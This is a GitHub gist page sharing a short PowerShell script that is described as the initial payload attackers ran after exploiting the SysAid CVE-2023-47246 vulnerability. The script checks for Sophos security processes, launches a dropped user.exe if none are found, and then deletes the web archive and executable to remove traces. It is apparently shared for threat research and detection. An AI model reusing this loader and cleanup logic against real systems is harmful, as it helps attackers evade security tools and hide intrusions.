Skip to content

Instantly share code, notes, and snippets.

@JohnHammond

JohnHammond/sysaid_postexp_01_pwsh_event.ps1 Secret

Created November 10, 2023 00:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JohnHammond/96dfc3179f8a6b043383f019a9be6f99 to your computer and use it in GitHub Desktop.
Save JohnHammond/96dfc3179f8a6b043383f019a9be6f99 to your computer and use it in GitHub Desktop.
Download ZIP
Observed initial PowerShell payload following CVE-2023-47246 exploitation
Raw
sysaid_postexp_01_pwsh_event.ps1
$wapps='C:\Program Files\SysAidServer\tomcat\webapps'
dir "$wapps\usersfiles"
$bp=0
foreach($s in tasklist) {
if ($s -match '^(Sophos).*\.exe\s') {echo $s; $bp++;}
}
if ($bp) { echo "`nSTOP-PROCs FOUND! Exiting`n" }
else {
echo "Starting user.exe"
& "$wapps\usersfiles\user.exe" [REDACTED_HEXADECIMAL_VALUES]
}
Start-Sleep 1
Remove-Item -Force "$wapps\usersfiles.war"
Remove-Item -Force "$wapps\usersfiles\user.*"
exit
#
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment